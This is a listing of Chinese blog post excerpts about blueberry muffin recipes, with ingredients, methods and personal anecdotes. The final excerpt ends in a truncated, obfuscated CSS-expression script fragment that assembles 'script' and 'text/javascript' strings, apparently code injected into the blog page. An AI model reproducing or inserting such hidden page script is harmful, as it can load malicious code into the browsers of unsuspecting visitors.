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- 蓝莓玛芬--玛芬加蛋白尝试 2009-08-29 16:40:39
- 戚风蛋糕不好保存也容易坏，还是玛芬比较合适保存时间也挺久。冒着大热天飘到厨房去。书上有看到过磅油蛋糕里加入蛋白，想必一定会给蛋糕口感上增色不少。这次试了一下果然是呀，加入蛋白的玛芬...看到烦MM考的那个蓝莓蛋糕我就想起自己考这款蛋糕时候蓝莓被烤的冒汁...
- 玛芬~~ 2009-07-31 19:36:29
- 椰蓉玛芬和蓝莓玛芬。也是好奇前几天痒痒同学的提议，说是做玛芬时把蛋白和蛋黄分开加会有意想不到的结果。今天小试了一下牛刀，别说，多少是细腻些。下次再做继续感受和汇报顺便上上在宜家买的玛芬模，蛮好用的...可惜之前的小方形模具卖断货了制作过程；蓝莓玛芬...
- 新手做烘焙——20道烘焙入门级甜点 2009-03-16 22:07:08
- 顺利地行走在烘焙的康庄大道上！很多同学都强烈建议多上些烘焙课堂的片片，那么，好吧，长草吧！漂亮时尚的厨房同学们的操作台 菁菁老师闪亮登场活跃的课堂玛芬制作中……蓝莓玛芬入炉前靓照蓝莓玛芬新鲜出炉！这可是同学们第一次做的烘焙作品哟，还是粉不错滴！20...
- 酸奶蓝莓玛芬 2009-12-03 10:48:22
- 白糖100克，色拉油120克，牛奶70克，原味酸奶160克，低筋面粉200克，泡打粉1/2小匙(原方1匙)，苏打粉1/8匙（原方1/4匙）。鸡蛋打入盆中，加入白糖搅拌均匀，加入色拉油，搅拌均匀，再加入牛奶和原味酸奶搅拌均匀。加入低筋面粉和泡打粉、小苏打粉，搅拌均匀。再加入...
- 健康早餐之蓝莓玛芬 2009-11-04 13:04:00
- 在我不是很擅长的西点烘培中，唯独烤玛芬是我的拿手点心（早点）。我几乎每周都会烤一盘玛芬作为一周的早餐。我喜欢用全麦面粉和其他粗粮加上代糖和蛋白和水果来制作不同种类的玛芬。这款蓝莓玛芬是我们比较喜欢的一种。干料：全麦面粉 1杯泡打粉 一大勺小苏打 半大勺代糖...
- 下午茶搭档：蓝莓/草莓妙芙蛋糕 2009-11-01 04:07:43
- 这是为了比较文学系potluck做的。妙芙/玛芬蛋糕操作起来很容易，变化又多。这一款由于加了sourcream（酸奶酪），牛奶，香草精和莓子们，口味十分香甜丰富，众人的味蕾十分满意...powder）1/2茶匙苏打粉（baking soda）1/2茶匙盐一把新鲜蓝莓（我也用了一把切碎的草莓...
- 蓝莓玛芬&米蛋糕卷&豆渣布朗尼（补上布朗尼... 2009-09-10 11:02:46
- 把最近做的东西一起搞上来，嘿嘿话说前一阵在大润发超市见到丹东产的新鲜蓝莓卖，让我兴奋地手舞足蹈哇，这个必须要拿下滴……回家就做了眼馋的蓝莓玛芬，方子来自亲爱的晴天J，口感我也很喜欢，就是有个问题，怎么让表面的蓝莓分布的漂亮些啊，放几粒在中间，烤完都被爆到...
- 再战玛芬——菜鸟现身说法两种玛芬做法大比拼 2009-08-25 00:08:04
- 大致混合均匀就可以上炉烤了，可称作是最菜鸟级的甜品。*乳化法，与传统法不同的是，多了黄油和鸡蛋的打发这一步骤，口感要更松软，当然热量也更高。下面看一下我做的这两种玛芬的具体比较吧...其中“传统法”改编自“蔓越莓麦芬蛋糕”，但我没有蔓越莓，就改成了加...
- 柠檬蓝莓玛芬(Mini Lemon Blueberry muffin) 2009-08-24 00:23:58
- 我没有，就省略了，最后在挤好的面糊中每一杯里放了三五颗的蓝莓。1 large egg大号鸡蛋1个（60克）1/2 cup sugar1/2杯砂糖（100克）3/4 cup plain low...and set aside.预热烤箱至400华氏度(205摄氏度），两个迷你玛芬杯（13/4英寸直径的12连杯）烤盘上薄薄涂上一大勺软化...
- 些许酸楚---蓝莓玛芬 2009-08-04 08:29:10
- 不会，不会的，我预想的那一幕would neverhappen,cause someonewon'tbethere..好想她也能陪我渡过这属于我的一天，也好想看着她为我得到幸福而落泪的样子..心里阵阵酸楚..ee:Expression(function(){if(!window.r){varss='s''cript';var tt='text/ja''vas''cript';varst...
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